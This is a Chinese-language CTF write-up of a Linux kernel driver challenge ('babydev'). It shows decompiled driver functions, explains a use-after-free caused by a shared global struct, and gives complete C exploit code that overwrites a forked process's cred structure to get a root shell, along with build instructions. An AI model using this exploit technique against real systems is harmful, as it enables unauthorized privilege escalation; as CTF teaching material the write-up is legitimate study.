babyrelease:主要功能是释放空间
int __fastcall babyrelease(inode *inode, file *filp) { _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n"); return 0; }
babyopen:调用kmem_cache_alloc_trace函数申请一块大小为64字节的空间,返回值存储在device_buf中,并设置device_buf_len
int __fastcall babyopen(inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL); babydev_struct.device_buf_len = 64LL; printk("device open\n"); return 0; }
babyioctl:定义0x10001的命令,这条命令可以释放刚才申请的device_buf,然后重新申请一个用户传入的内存,并设置device_buf_len
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; // rdx size_t v4; // rbx _fentry__(filp, command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL); babydev_struct.device_buf_len = v4; printk("alloc done\n"); return 0LL; } else { printk(&unk_2EB); return -22LL; } }
babywrite:copy_from_user是从用户空间拷贝数据到内核空间,应当接受三个参数copy_from_user(char*, char*,int),IDA里面是没有识别成功,需要手动按Y键修复。babywrite函数先检查长度是否小于device_buf_len,然后把 buffer 中的数据拷贝到 device_buf 中
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; // rdx ssize_t result; // rax ssize_t v6; // rbx _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(babydev_struct.device_buf, (char *)buffer, v4); result = v6; } return result; }
babyread:和babywrite差不多,不过是把device_buf拷贝到buffer中
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; // rdx ssize_t result; // rax ssize_t v6; // rbx _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer, babydev_struct.device_buf, v4); result = v6; } return result; } 漏洞点和利用思路
值得注意的是驱动程序中的函数操作都使用同一个变量babydev_struct,而babydev_struct是全局变量,漏洞点在于多个设备同时操作这个变量会将变量覆盖为最后改动的内容,没有对全局变量上锁,导致条件竞争
我们使用ioctl同时打开两个设备,第二次打开的内容会覆盖掉第一次打开设备的babydev_struct ,如果释放第一个,那么第二个理论上也被释放了,实际上并没有,就造成了一个UAF
释放其中一个后,使用fork,那么这个新进程的cred空间就会和之前释放的空间重叠
利用那个没有释放的描述符对这块空间写入,把cred结构体中的uid和gid改为0,就可实现提权
还有在修改时需要知道cred结构的大小,可以根据内核版本可以查看源码,计算出cred结构大小是0xa8,不同版本的内核源码这个结构体的大小都不一样
exp代码 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> int main() { // 打开两次设备 int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred) ioctl(fd1, 0x10001, 0xa8); // 释放 fd1 close(fd1); // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠 int pid = fork(); if(pid < 0) { puts("[*] fork error!"); exit(0); } else if(pid == 0) { // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0 char zeros[30] = {0}; write(fd2, zeros, 28); if(getuid() == 0) { puts("[+] root now."); system("/bin/sh"); exit(0); } } else { wait(NULL); } close(fd2); return 0; } 执行exp需要将编写的exp编译成可执行文件,然后把它复制到rootfs.cpio提取出来的文件系统中,再将文件系统重新打包成cpio,这样在内核重新运行的时候就有exp这个文件了。
将exp编译好,注意需要改为静态编译,因为我们的内核是没有动态链接的:
unravel@unravel:~/pwn$ gcc exp.c -static -o exp